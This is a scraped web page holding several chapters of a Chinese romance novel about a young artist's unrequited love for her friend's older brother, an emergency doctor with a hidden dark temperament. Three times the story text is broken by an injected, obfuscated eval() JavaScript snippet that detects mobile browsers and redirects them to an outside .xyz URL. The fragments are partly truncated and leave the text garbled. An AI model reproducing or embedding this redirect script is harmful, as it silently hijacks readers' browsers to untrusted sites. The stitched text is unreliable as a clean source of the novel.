;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560506|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手合十,祈祷地看着她,“我能不能像你一样喊哥哥?嘉年哥……三个字,太长了嘛……” “你直接叫就可以了,干吗问我?”方嘉岁不明白这有什么好问的。 “那我总得先征求你的同意嘛。” 得到允许的虞听开心地捂住嘴,就像只找到松果的小松鼠一样笑了。 当她第一次尝试着叫出哥哥时,方嘉年的反应很平淡,仿佛他并未发觉称呼变了一样,就像平时对方嘉岁那样,他很自然地回应了那声哥哥。 毫不夸张地讲,那一刻,方嘉岁甚至怀疑虞听会快乐地蹦起来。 方嘉岁其实一直都分不清,虞听对方嘉年的这种盲目崇拜,究竟是源于作为独生女的她,真的很想拥有一个哥哥,还是因为她喜欢方嘉年。 仰慕与喜欢之间的界限如此模糊,她很难严格区分这二者,直到那个夜晚—— “你喝醉了,方嘉年把你带回来,你嘴里一直嚷着喜欢他,不是妹妹对哥哥的喜欢,是想亲他、抱他的那种喜欢,还让方嘉年做你男朋友。” 方嘉岁回忆起那个混乱的夜晚,一脸不忍直视:“我就是想装不知道也做不到啊……” “行了,你不要再说了……” 虞听痛苦地捂住脸打断了她。 在暗恋对象和多年闺蜜面前同时社死是一种怎样的体验? 可以说是生不如死,想重新回去投胎…… 真相揭开后,细究起来,一切都是有迹可循的。 比如方嘉岁在得知她有喜欢的人后,却闭口不问对方是谁;比如她一门心思地给她介绍约会对象;再比如她频繁将高山和方嘉年进行对比。 她自以为在好友面前瞒得严严实实,却不料自己的底牌早被人家看光了。 可眼下,虞听还有另一件亟需知道的事情。 “嘉年哥……”虞听紧张地握紧了杯子,喉咙干涩,每往外吐一个字,都像在吞刀子,“他……他是怎么说的?” 像是想起了什么,方嘉岁一脸气愤:“他让我当没听见,也让我别告诉你。” 是……是吗? 原来是他让方嘉岁假装不知道的啊。 那天早晨,她宿醉醒来,和他在客厅的对话骤然回荡在耳边—— “嘉年哥,昨天……我有说什么话吗?” “什么话?” “不知道……就是平时我不会说的那些话?” “嗯……什么也没说。” 这个人,是真的不喜欢自己啊。 脑海中逐渐升起这个早该明确的想法。 明明不喜欢,却收到了这么多年一直当妹妹看的人的告白,甚至还在酒后强行吻了他,内心一定很反感吧,可是第二天为了照顾她的自尊,还要假装无事发生,像从前一样对待她。 这就是方嘉年,善良到令人讨厌。 眼前一片朦胧,眼泪在毫无知觉的时候自己掉了下来。 甜品店周遭的一切都成了模糊的重影,看不清晰的世界里,方嘉岁一把抓住了她的手。 “你……你别哭啊……”好友的声音慌乱得结结巴巴。 方嘉岁读小学时就认识了虞听,但两人真正成为朋友却是在五年级,她们在老师的安排下成了同桌。 方嘉岁从小就是个酷女孩,脑子里除了那堆动画片,压根不与人交往。然而与虞听成为同桌的第一天,她看见虞听偷偷在数学课上画小人。 她画的是《魔卡少女樱》。 方嘉岁一直很喜欢这部动漫,见她寥寥几笔就勾勒出里面的主要角色,虽然线条稚嫩,但与同龄孩子的画比较起来,人物轮廓有模有样,就连五官也很有神韵。 方嘉岁在那天就决定与她成为朋友。 虞听性子绵软温吞,一看就是那种从小什么也不缺,浸泡在爱里的女孩。 小时候,她因为长得胖,班上有男生拿她的体型开玩笑,喊她小胖子。一般人要么忍气吞声,要么上前干架。可虞听却不,她泪眼汪汪地同男生讲道理:“我爸爸妈妈说给人取绰号是很不好的事,你给我道歉。” 她爸妈将她养得很好,虞听天性乐观,从小到大都没有什么烦恼。方嘉岁也从未见过她大哭,可此刻她却在人满为患的甜品店里,无视所有人投来的视线,哭得泪流满面,不能自已。 方嘉岁突然特别讨厌起哥哥方嘉年来。 她慌张地抽了纸巾给虞听擦眼泪,一边笨拙地安慰她:“别哭了,方嘉年什么也不是,他根本不值得你喜欢!你那么好,多的是人珍惜你,高山你不喜欢吗?我给你介绍别的男生……” 虞听哭得肝肠寸断,打湿了好几张面巾纸,摇头哽咽:“现在……现在不喜欢了……” 以前都是自欺欺人,可直到此时此刻,她才坚定地确信,自己再也不要喜欢方嘉年了。 11. 单相思11 方嘉年这一晚忙得不可开交。 急诊室送来一个身中数刀的患者,腹腔大规模出血。为了避免患者在送去手术室之前失血而死,他只能跪在急救床上按压住出血部位。这之后又来了一个脑溢血患者,一个即将分娩的孕妇。 要说急诊一定是医院最忙最累的科室,最怕的就是像这样,忙的时候赶着趟来,压根没有喘息的工夫。 等到终于可以消停一会儿,方嘉年坐在靠近分诊台的休息区长椅上,靠着墙壁揉捏鼻梁,闭目缓解酸胀的眼球。 接连熬了两个夜班,他已经将近二十四个小时没睡觉了,中途只短暂地去医院宿舍眯了一会儿,但也没真正睡着,他的失眠症由来已久。 正闭目养神,额头上贴了一个冰冷的东西。 “补充点糖分吧,看你这一脸快要猝死的模样。” 睁开眼,江诗逸手里拿着两杯咖啡看着他。 方嘉年接过自己的那杯,打开喝了一口。 咖啡因的摄入让混沌的大脑终于恢复了些许清醒。 “精神科这么闲的吗?还有空下来送咖啡。” 江诗逸在他旁边坐下,嘲笑道:“是啊,羡慕吗?谁让你当初选了外科。不过现在回头是岸也还来得及,我们苏教授特别看好你,改天要不要上13楼去看看?” 13楼是附医精神卫生科的所在地。 方嘉年笑了下,敬谢不敏:“还是算了吧,不去当你们的小白鼠。” “哎呀,”江诗逸不赞同道,“你也是搞科研的,研究样本怎么能叫小白鼠呢?再说了,也不是白叫你去,咱们苏教授妙手回春,经手过多少患者。你最近失眠症状又加重了吧,看你这黑眼圈重的,让苏教授和你面谈一下,说不定就治好你了。” 方嘉年笑笑没说话。 江诗逸和他是本科同班同学,只是在研究生时选择了心理学作为研究方向。兴许是学心理的人都特别敏锐吧,她不知怎么就看出了方嘉年存在心理问题,以做论文课题为由哄着他帮忙填写了一套心理测试量表,最后测出他有严重的抑郁倾向,压力自测量表的分数也远超了标准值。 这之后她就像猫见了老鼠一样盯上方嘉年了,总试图劝他去精神科看看,接受更专业的诊断。 方嘉年并不认为自己有抑郁症,只是江诗逸是同学,又在同一家医院规培,有些时候避也避不开。 手机振动,收到一条消息,他拿出来查看,是酒馆兼职生阿杰发来的一张照片。 江诗逸凑过来一看,惊讶出声:“咦,这不是你妹妹吗?她这是怎么了,醉了?” 照片里的女孩趴在桌上,脸色酡红,旁边还有几只酒瓶,一看就是喝醉了。 江诗逸:“话说你上次有好好送她回家吗?” 方嘉年按灭手机,投来微妙的一眼:“你为什么关心这些?” 江诗逸摸摸鼻子:“小姑娘挺可爱的,而且和她在一起的时候,你比较有活人感。” 方嘉年没搭理这话,起身走去长廊尽头打电话。 “喂?” “你给她喝的酒?” 电话一接通,方嘉年就开门见山地质问。 那边的阿杰感到十分委屈:“她是客人,我们这是酒馆,她指明了要酒,我们也拿她没办法呀。” 通话里陷入短暂的沉默,只有电流的杂音。 阿杰小心翼翼问:“哥,那是你妹妹对吧?上回只来过一次,我就记住了。” 方嘉年嗯了一声,低沉道:“看着她一点,酒也别给了,我马上到。” 挂了电话,他找到一位之前欠过他人情的同事替他代班,然后拿上车钥匙到地下停车场,开车前往酒馆。 *** 狗东西,人渣,败类。 虞听口齿不清地咕哝着骂人的话,一边扬手喊服务生上酒。 喊了半天也没人应,只有一个年轻男生过来跟她说:“不好意思,小姐,我们店里没酒了。” 这像话吗?没酒开什么酒馆? “但是可以给你上杯冰柠檬水。” 十一月末的天气,冰水灌进肚子里,冻得她一激灵,但却有效缓解了酒后的燥热。 她不受控制地再度想起了方嘉年。 狗东西,人渣,败类。 这些骂人的词汇不停在口中盘旋,她现在的状态完美诠释了什么叫“脱粉回踩”,当初有多爱,现在就有多恨。 是醉得太狠都出现幻觉了么?当她偶然抬头,竟然看见了方嘉年。 酒馆内光线昏暗,暖黄色的吊灯光芒倾泻在他的头顶,立体深邃的五官投下淡淡的阴影,这光影感绝佳,实在适合用来画一副人体素描作品。 虞听睁着迷蒙的醉眼去瞧,终于确认这不是她的幻觉,眼前站着的是真真切切的方嘉年。 “怎……怎么在这儿?” 酒精的过度摄入让舌头麻痹,本来是正常发声,却因舌头不听自己的指挥,口齿笨拙得像个牙牙学语的孩童。 那人一语不发,只是皱眉盯着她缠着纱布的手:“手怎么受伤的?” “削……削笔的时候……” “又被美工刀割到手了?”他沉声打断,眉头皱得愈紧,“都让你改用卷笔刀了,在某些事上总是有种奇异的固执。” 严厉的语气有种指责孩子不听话的意味。 虞听下意识就要解释,卷笔刀削出来的笔尖太圆了,没有一点棱角,这样画出来的线条也没有棱角,而且用自己削的铅笔作画才有灵魂啊。 话都到嘴边了,突然猛地反应过来,不对,自己怎么被他反客为主了。 “要……要你管,”虞听凶巴巴地瞪他,浑然不知这副样子在别人眼里毫无威慑味道,“你还没回答我,你怎么……在这儿?” 方嘉年叹了声气:“这是我的店。” 他……他开的店? 怎么可能? 虞听一脸不信:“别……别骗我,哥哥以前不是在这打工的嘛。” 一个打工仔怎么升级成老板的? 终于肯叫一声哥哥了。 方嘉年的脸色也缓和了几分,声音恢复了过往的温柔:“没骗你,老板之前要转让酒馆,我手里恰好有点钱,就买下来了。” 这家位处大学城的酒馆地理位置绝佳,因为靠近大学,所以客源不用愁,短短几年就替他挣了不少钱,是他主要的收入来源之一。 虞听呆呆地看着他。 她再度意识到了自己和方嘉年之间的差距。在她还只知道往家里伸手要生活费的时候,方嘉年已经开始独立自主地赚钱了,甚至成了一间酒馆的老板。 当初他在这家酒馆打工当服务生时,她还拖着方嘉岁跑来看过。 那时两人刚上高中,一放学就过来了,肩上还背着书包。 当虞听大着胆子想偷偷混进去的时候,一双大手从天而降,将她连人带书包地拎了起来。 虞听抬头一看,就看到了淡淡笑着的方嘉年。 虽然时间过去很久了,但虞听依然记得当时那种喜悦漫上心头的感觉。 那时方嘉年在上大学,不怎么回家,他们已经很久没见过了。 虞听赖着想进去酒馆看一看,其实主要是想看看他做服务生的样子。 但方嘉年以酒馆不招待未成年为由,愣是将她拒绝了。 他穿着酒馆统一的服务生制服,简单的白衬衫却勾勒出他优越的体型,肩宽腰窄,双腿无限长,就这么在外面短暂说话的工夫,虞听注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560507|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意到已经有不下十个女生朝他投来视线了。 她磨磨蹭蹭地不想走,找尽各种借口,甚至搬出了自己有道题不会做,想要请教他的理由。 最后方嘉年答应每周六给她辅导功课,才成功将她赶走。 虞听后来十分后悔,因为她并不知道方嘉年那时很忙,他每周六单独抽出的给她辅导功课的时间,对她来说只有短短几个小时,但其实是他压缩了自己的休息时间才得来的片刻空暇。 方嘉年的大学本科五年过得非常忙碌,不仅要应付医学院繁重的课业,同时他还身兼数职打工。发传单、家教、酒馆服务生……他都做过。 虞听第一次听说时很不理解,方家富裕到钱多得这辈子都花不完,他根本不缺钱,为什么要这么辛辛苦苦地打工挣钱,她甚至动过把过年积攒下的压岁钱全部给他的可笑念头。 后来听方嘉岁说了才知道,方嘉年上大学没花家里一分钱,连那辆车都是借的方爸爸的,一挣到钱就立马还回去了。 方嘉年礼貌温和,待人得体,却在某些时候会让人感觉到疏离,就连对自己的家人也是这样。 他是矛盾的两面体,就如他明明是个模范生,却会抽烟和打眉钉,偶尔做出一些令人惊愕的离经叛道的行径。 虞听突然意识到,她其实从未真正地看懂过方嘉年。 “醉了吗?” 方嘉年似乎把她的出神当成是醉得意识不清了。 “还站得起来吗?哥哥送你回去。” 高大的身子俯下来,带来一股医院特有的消毒水气味,混合着他身上的清爽气息,令人沉迷。 身体凑过来时,一声无奈的叹息也传入耳朵里。 “明明是个听话的孩子,怎么突然养成酗酒的习惯了?” “怎么了?” 话不受控制地脱口而出,虞听醉眼迷离地看向他,眼中带着自损一千,伤敌八百的挑衅。 “你怕我喝醉了又强吻你么?” “……” 方嘉年去抱她的双手僵在半空。 “对不起,嘉年哥,真的很对不起。”虞听自嘲地苦笑,“这阵子因为我很困扰吧?当成妹妹看的人突然不要脸皮地说喜欢你,还酒后强吻了你。第二天还得装作不知情,继续跟她正常相处,这要是换了我,该有多膈应啊……” 不顾眼前人难看至极的脸色,僵硬的舌头神奇地恢复了正常,藏在心底的话就像竹筒倒豆子一样倾泻而出。 “可是哥,我其实也挺冤枉的,我喝了酒意识不清醒嘛,把我推开就是了,再不行打我一巴掌也行,哥哥又没喝酒,为什么要亲上来呢?所以哥哥也有错,这个你也承认吧……” 虞听打了个酒嗝,心底有什么东西碎开的声音,她摇摇晃晃地从椅子上下来,眼底有一闪即逝的水光。 “不过哥,别担心,以后再也不会让你困扰了,我不会再出现在哥哥眼前了……” 天旋地转,双脚就好像踩在云端一样,轻飘飘的落不到实地。 虞听跌跌撞撞地向门口走去,在经过方嘉年时,手臂蓦地被一只手掌握住了。 “你要去哪里?” 就像被烧热的铁钳禁锢住一样,那只抓着她手臂的大掌灼热、用力,虞听甚至怀疑自己的骨头会因此一寸寸地捏碎掉。 “放开。” 从嘴里流露出来的,是从未对他说过的冷漠语气。 抓着她的手依然没有松开。 虞听深吸一口气,回头道:“我不想讨厌哥哥,所以放开吧。” 那只怎么掰也掰不开的大手,在听到这句话后,就这么简单地松开了。 虞听面无表情,与他擦肩而过。 卷一《Secretlove》End 12. 火葬场01 “学长,这个……” 系着粉红缎带的礼盒被递了过来。 低头看着专业书籍的方嘉年抬起脖颈,脸颊涨红的陌生女孩就进入视野。 他习惯性地拿出对待陌生人的笑容,眼神中带着几分恰到好处的茫然:“嗯?这是什么?” 女孩的脸果然涨得更红了几分,连眼睛也不敢看他,低着头四处乱瞟,小声嗫嚅:“是我做的饼干,学长要是学习累了,可以……可以吃一点。” 礼盒上有一层透明的盒盖,可以清晰地看见下面整齐排列的黄油曲奇,每一只都大小适中,奶黄的颜色似乎在证明着它们会有多好吃。 方嘉年只稍微垂眸扫了一眼,拿着笔的手轻轻敲了下书本,再看向女生时,唇边带着友好又温和的微笑。 “谢谢你,我会好好吃的。” “不……不客气!” 女生受宠若惊得就像被王子突然搭话的街边乞丐,既兴奋又紧张,说话也磕磕巴巴起来:“那……那学长先忙,我先回去了,明……明天见!” 说完她便抱起自己的书本文具急匆匆走出了自习室,不远处还能看见她和等她的同伴激动地比划着什么的样子。 方嘉年淡淡收回视线,脑海里却在想:什么明天见?他和这女生不是第一次见吗? 他不知道女生已经连续和他在自习室坐了半个多月的相邻座位,而且他曾经还找人家借过一支笔。 明天不能再来这间自习室了。 走出图书馆的他毫无留恋地将那盒曲奇扔进垃圾桶,随后从烟盒中抽出一根烟,叼在嘴里点燃。 “学霸,图书馆前面不能抽烟不知道啊?” 一只手突然隔空伸出,抽走了他还没来得及吸几口的香烟。 方嘉年看向抢走烟的人,示意她去看墙上的标志:“这里是吸烟区。” “那你也少抽些吧,”女生自顾自地说教起来,“好歹是医学生,难道不知道尼古丁对人体的损害有多大吗?小心以后老了得肺癌。” 方嘉年皱眉,一股戾气在心底油然滋生,想对眼前喋喋不休的女人问你是我的谁?凭什么多管闲事。 理智与情感在脑内做着激烈斗争。 女生不是仅有一面之缘的陌生人,而是每天低头不见抬头见的同学江诗逸。 权衡之下,理智最终战胜了冲动,心底的戾气被强行压制。 他微微一笑:“嗯,你说得对。” 方才还针对吸烟问题说个没完的江诗逸突然停下来,盯着他道:“你又在假笑了。” 方嘉年:“……” 江诗逸:“真的不打算来精神科看看吗?” 迄今为止,方嘉年的人生都很顺遂。 家境富裕,父母开明,还有个虽然不太听话但也算可爱的妹妹。在学校的他名列前茅,是老师同学信任的模范生,人缘也不用太费心,只要笑一笑,在聊天时适当地插一两句话,身边就会自动围聚一帮人。 外人眼中的他礼貌,温和,是完美的天之骄子。 只有方嘉年自己才知道,他的内心有多么阴暗,狂躁,暴戾。 在教室上课时,他看着讲台上挥汗如雨卖力传授知识的老师,貌似是在认真听课,心底却在期盼此刻来场地震,地动山摇之际,所有人都被埋进地底粉身碎骨,世界坍塌成一片废墟。 他对一切都感到无聊且乏味,却又不得不戴着优等生的面具生活。 就像冰川之下的海底,他的心底深藏着经年都难以平息的戾气,海平面却始终一片平静。 为了掩盖这股暴戾,他抽烟,文身,给身体穿孔,耳机里常年播放着刺耳的摇滚乐。 每当有女生被他所吸引,向他告白时,无论是她们直白的话语还是羞涩的表情,总是千篇一律。 方嘉年有时真的很想问—— 你们喜欢我什么呢?你们真的了解我么?如果知道真正的我是什么样的,还会喜欢我吗? 他曾经以为没有人会发现面具下的自己,却没想到自己性格的缺陷会被一纸玩笑似的心理测验所揭破。 江诗逸的穷追不舍令他感到厌烦,有时会生出杀了这聒噪女人的冲动,他甚至为此列了周密的计划,但一如既往地,理性占据了上风。 告别江诗逸,他去了校门外的后街,本打算去酒馆看看,却没想到在那里见到了有趣的场景。 大学城附近的街道上,商铺众多,各色灯箱林立,霓虹闪烁。 虞听深一脚浅一脚地走入一条暗巷,走路就像初生的企鹅一样摇摆,两颊飘着两朵红晕,看来是喝醉了。 这大概是小家伙第一次喝酒。 看着那摇摇晃晃的走路姿势,他忍不住笑了。 方嘉年第一次见虞听是在自家的客厅,她作为妹妹的同学被邀请来家里做客。 方嘉岁那小鬼脾气孤僻古怪,脑子里除了动画片什么也没有,她居然能在班上交到朋友,还带回家来做客? 好奇——这是他对虞听产生的第一个念头。 他好奇是什么样的人能跟妹妹做朋友,所以进来时,特意朝她打量了两眼。 没有什么特别的,虞听跟一般的小学生没有什么不同,穿着小学校服,胸前系着红领巾,还戴着一副大大的眼镜,几乎遮住了她大半张脸。 若非要说有什么特别的—— 她的坐姿格外乖巧。 脊背挺得直直的,双手规矩地搭在膝盖上,像在开少先队员大会,随时等着老师检阅。 放在腿上的两只小手胖乎乎的,手指头短而圆润,指甲盖却修剪得很干净。 当看向他时,她紧张地直咽唾沫,藏在镜片后的眼珠像黑豆一样,滴溜溜地转。 难道他长得很吓人吗? 方嘉年生平第一次生出这样的怀疑。 除去好奇,也就不剩什么了。 他对妹妹的朋友并不感兴趣,只是像个温柔好相处的大哥哥那样,挂上惯常的微笑,给了两人零花钱去买冰激凌。 可是后来,他却发现了虞听的不同之处。 这孩子,貌似特别喜欢他。 她看向他的眼神总是亮晶晶的,就像渴望主人抚摸的小狗一样。无论自己在做什么,只要一回头,总能与她对上视线,这时只要向她笑一下,她就会飞快扭过脑袋,可藏在头发下的耳朵尖却红红的。 方嘉年当然不会觉得自己的吸引力对孩子都起作用,虽然不知道虞听对他的喜欢从何而来,但奇怪的是,并不感觉有负担。 兴许是因为她年纪小,是比他小六岁的孩子;也或许是虞听的喜欢并不像那些追捧他的女生一样,带着很强的目的性,需要换取他的回应。 她的喜欢是无害的,是在某个角落里偷偷地观察他,就像初生的小狗观察人类一样。 于是他也像宠爱小狗一样,时不时给出一些回应。 比如在谁都没起床的清晨带她去便利店买零食。 孩子吃饭很香,但走路走得不是很好,经常摔跤。第一次带着她去便利店时,她就摔了一大跤,把额头都给摔肿了。 “小心点,”他将人扶起来,皱眉问,“腿不好吗?” 只是出于关心才问出的一句话,并没有其他的含义,如果经常走路摔跤的话,该去医院看看了。 可虞听捂着额头上摔出来的那个包,疼得眼泪汪汪,也不忘跟他解释:“不……不是的,只是平衡感不好……” 他毫无感情地“啊”了一声,笑着问:“那要牵着走吗?” 虞听的脸迅速涨红了。 “不要?”他故意曲解她的意思,自顾自点头,“也是,你也不是小到需要牵着走路的年纪,估计会觉得丢人吧……” 正要站起身,身后却响起急匆匆的一句话。 “要……要的!” 一只小手迫不及待地钻入他的掌心,像是生怕他丢下她离开那样,像藤蔓一般紧紧地攥着他的手掌。 “最近连小学生也要牵着手过马路呢,我……我虽然不小了,但也不大,谢……谢谢……” 是怕他觉得麻烦吗?她毫无必要地解释着她这样做的理由,语无伦次的样子看着让人有点想笑。 “嗯。” 方嘉年轻轻应了一声,抓住那只温热的小手。 他并不是喜欢照顾人的类型,但对于这个孩子,奇异地不讨厌。 虞听是个十足的吃货,不像方嘉岁有着令人头痛的挑食习惯。每当看着她毫不挑剔地吃着他买来的食物时,方嘉年心中总会升起一股诡异的满足感。 难道那些养宠人喂养自己的宠物时也是这样的感觉吗?总算明白了网上一个无聊的小狗进食视频为什么可以上热门了。 看别人吃东西,的确是一件会令人感到愉悦的事。 “哥哥,你会不会觉得我吃太多?” 可是某一天,无忧无虑吃着东西的孩子突然停下了进食,问了他这样一个问题。 正托腮津津有味地盯着她吃东西的方嘉年皱起眉头,有种好心情被打扰的不悦:“怎么了?谁跟你说什么了?” “没……没有,就是……我好像有点胖?” 她苦恼地揪着脸颊上的肉,懵懂望过来的眼神里,有种颤抖的不安。 是害怕他说她胖吗? 不知道为什么会有这种毫无根据的担心,在方嘉年眼里的孩子与胖这个字眼毫无关联,虽然她是圆乎乎的,好像没有棱角,但刚出生的小狗不都这样么?只是还没长开而已。 他修正了过于低沉的语气,平直的唇角微微翘起,用比往常还要柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16565129|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和的嗓音道:“不会,听听一点也不胖。” “是……是吗?” 方才还黯淡的眼睛一下就变亮了,让人甚至感到无语。 他说什么了,值得这样高兴? 这种将他的每一句话都奉为真理的行为,就好像他成了她世界里的救世主。 喜悦浮上心头,方嘉年身体都要发烫了,以至于说出了一句不在计划里的话。 “哥哥觉得这样的听听很可爱。” “……” 虞听惊讶地看着他,渐渐地,那白皙的面颊染成了粉色。 后来他知道了虞听问出这句话的原因。 向来对食物热爱的孩子怎么会突然担心起体型的问题,原来是班上有个小兔崽子给她胡乱起绰号。 这种人在学校里并不少见,以给人取绰号的行为博取关注,方嘉年以前也遇到过不少,只要不取到他的头上,他对这种事向来冷眼旁观,只是同样的事发生在虞听身上,他却容忍不了。 内心的戾气几乎要压制不住,除了对那随便起绰号的混蛋小崽子感到生气外,还有对虞听的怒火。 ——我不是你世界里的救世主吗?只要听我的、看着我就可以了,为什么要因为别人的一句话受影响? 当然要解决这件事的话并不难。 只要将那小崽子拎出来,吓唬几句,他不敢不听话。 叫不出名字的小崽子哭得满脸鼻涕眼泪,明明没有对他动手,他却吓得好像要被拉去屠宰场的牛犊一样瑟瑟发抖。 “把胃口好的孩子弄得饭都不敢吃了,你还有脸哭吗?” 方嘉年像个和后辈亲近的学长一样,夹着烟的手指拍了拍他的脸,语气温和:“去道歉吧,然后离虞听远一点。下次她要是少吃一口饭,哥又得找你谈心了,知道吧?” “……” 男生哭哭啼啼地跑远了。 方嘉年站在原地继续抽烟,白色烟雾萦绕盘旋,模糊了他的视线。 随着相处的时间越长,虞听看他的眼神也越来越炙热,掺着盲目的迷恋与崇拜。 方嘉年不仅不反感,反而非常享受她看向自己的眼神,那种“万物都消失隐匿,我只看得见你”的沉迷与专注,甚至让他开始上瘾。 为了获取这种眼神,他刻意地去对虞听好,说话要温柔,眼神要和善,伪装了二十多年平易近人的人设,这对他而言简直信手拈来。 有的时候就连他自己都分辨不清,他对虞听的好究竟是装出来的,还是入戏太深成了真。 虞听的成绩一直不算好,在班级里吊车尾的程度。反正是艺术生,父母对她要求也不高,她也从不在意成绩好坏。 可高三那一年,她突然一改懒散状态,开始拼命学习了起来。 别人问她原因,她说她要考临江大学。 方嘉年听说了这件事,问她:“为什么?对于美术生来说,考美院不是更好吗?” 临江大学虽然也有美术系,但它是一所综合性大学,美术并不是王牌专业,若要寻求更好的发展,艺术类院校更适合她。 虞听那天支支吾吾,找了许多乱七八糟的理由。 比如什么临江大学虽然专业性不强,但好歹是全国排名top1的重点高校,名头更加响亮;比如临江大学的美术学院有她喜欢的一名教授,她对人家仰慕已久…… 方嘉年微笑着看她东拉西扯,心底却在想:承认吧,你就是为我而来的。 一种异样的感觉从心底升起,迅速膨胀,那好像是大脑多巴胺分泌过旺,带来了极致的愉悦与兴奋。 人可以因为他人满足到这样的程度么?他在身体极度陌生的情形下甚至生出恐慌。 回过神来的他终于发现,他已经在虞听身上花费了太多的精力,远超他的预期。 为了抑制住这种不正常的感情,他开始避免和虞听碰面,大学繁重的学业和忙碌的兼职工作成了他绝佳的理由,他甚至都不用说谎,用一句没有时间就可以轻松打发。 可当他久违地见到来家里做客的虞听时,她的眼睛不再像从前那么明亮了,黯淡的眼神里隐藏着对他的埋怨与思念,就像主人出了趟远门,被长期遗落在家里的小狗。 潜藏在身体里的兴奋因子又开始躁动,方嘉年故意回头与她对视,笑问:“为什么总是看我?” 就像小时候那样,她迅速撇过头去,耳朵尖飞快变红,就连脸颊也染上了绯红。 过了片刻,她忿忿不平地控诉:“才没有看!我只是在发呆,哥哥太自恋了!” 方嘉年忍不住扑哧笑出了声。 不同于戴上面具的假笑,这是真心实意的笑容。 他在那一瞬间明白了。 世间一切都无聊透顶,唯独虞听是有趣的存在。